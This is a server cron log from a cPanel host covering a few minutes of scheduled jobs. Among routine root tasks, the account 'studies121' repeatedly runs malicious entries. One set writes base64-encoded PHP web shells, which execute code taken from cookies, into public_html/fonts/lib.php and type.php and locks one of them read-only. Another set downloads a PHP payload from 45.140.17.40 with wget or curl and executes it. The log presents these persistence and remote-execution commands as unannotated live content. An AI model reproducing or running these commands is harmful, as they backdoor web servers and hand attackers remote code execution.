Sep  4 05:55:01 ip-184-168-122-23 CROND[1808]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 05:55:01 ip-184-168-122-23 CROND[1806]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 05:55:01 ip-184-168-122-23 CROND[1810]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 05:55:01 ip-184-168-122-23 CROND[1807]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:56:01 ip-184-168-122-23 CROND[1930]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 05:56:01 ip-184-168-122-23 CROND[1932]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:56:01 ip-184-168-122-23 CROND[1934]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 05:56:01 ip-184-168-122-23 CROND[1933]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 05:56:01 ip-184-168-122-23 CROND[1935]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:57:01 ip-184-168-122-23 CROND[2047]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 05:57:01 ip-184-168-122-23 CROND[2048]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:57:01 ip-184-168-122-23 CROND[2051]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:57:01 ip-184-168-122-23 CROND[2049]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 05:58:01 ip-184-168-122-23 CROND[2151]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 05:58:01 ip-184-168-122-23 CROND[2153]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:58:01 ip-184-168-122-23 CROND[2154]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:58:01 ip-184-168-122-23 CROND[2163]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 05:58:01 ip-184-168-122-23 CROND[2155]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 05:59:01 ip-184-168-122-23 CROND[2288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:59:01 ip-184-168-122-23 CROND[2290]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 05:59:01 ip-184-168-122-23 CROND[2291]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:59:01 ip-184-168-122-23 CROND[2293]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 06:00:01 ip-184-168-122-23 CROND[2439]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 06:00:01 ip-184-168-122-23 CROND[2440]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:00:01 ip-184-168-122-23 CROND[2442]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 06:00:01 ip-184-168-122-23 CROND[2448]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  4 06:00:01 ip-184-168-122-23 CROND[2450]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:00:01 ip-184-168-122-23 CROND[2447]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 06:00:01 ip-184-168-122-23 CROND[2449]: (root) CMD (/usr/local/cpanel/scripts/exim_tidydb > /dev/null 2>&1)
Sep  4 06:00:01 ip-184-168-122-23 CROND[2452]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 06:00:01 ip-184-168-122-23 CROND[2451]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 06:00:01 ip-184-168-122-23 CROND[2460]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 06:01:01 ip-184-168-122-23 CROND[2618]: (root) CMD (run-parts /etc/cron.hourly)
Sep  4 06:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[2618]: starting 0anacron
Sep  4 06:01:01 ip-184-168-122-23 CROND[2627]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 06:01:01 ip-184-168-122-23 CROND[2628]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:01:01 ip-184-168-122-23 CROND[2629]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 06:01:01 ip-184-168-122-23 CROND[2631]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:01:01 ip-184-168-122-23 CROND[2630]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 06:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[2632]: finished 0anacron
Sep  4 06:02:01 ip-184-168-122-23 CROND[2757]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 06:02:01 ip-184-168-122-23 CROND[2759]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 06:02:01 ip-184-168-122-23 CROND[2761]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:02:01 ip-184-168-122-23 CROND[2762]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:02:01 ip-184-168-122-23 CROND[2760]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 06:03:01 ip-184-168-122-23 CROND[2870]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:03:01 ip-184-168-122-23 CROND[2872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 06:03:01 ip-184-168-122-23 CROND[2873]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 06:03:01 ip-184-168-122-23 CROND[2874]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:04:01 ip-184-168-122-23 CROND[2991]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:04:01 ip-184-168-122-23 CROND[2995]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 06:04:01 ip-184-168-122-23 CROND[2997]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 06:04:01 ip-184-168-122-23 CROND[2996]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:04:01 ip-184-168-122-23 CROND[2994]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 06:05:01 ip-184-168-122-23 CROND[3108]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 06:05:01 ip-184-168-122-23 CROND[3110]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 06:05:01 ip-184-168-122-23 CROND[3111]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 06:05:01 ip-184-168-122-23 CROND[3112]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 06:05:01 ip-184-168-122-23 CROND[3113]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:05:01 ip-184-168-122-23 CROND[3114]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 06:05:01 ip-184-168-122-23 CROND[3115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:06:01 ip-184-168-122-23 CROND[3248]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 06:06:01 ip-184-168-122-23 CROND[3251]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:06:01 ip-184-168-122-23 CROND[3250]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 06:06:01 ip-184-168-122-23 CROND[3253]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 06:06:01 ip-184-168-122-23 CROND[3252]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:07:01 ip-184-168-122-23 CROND[3434]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
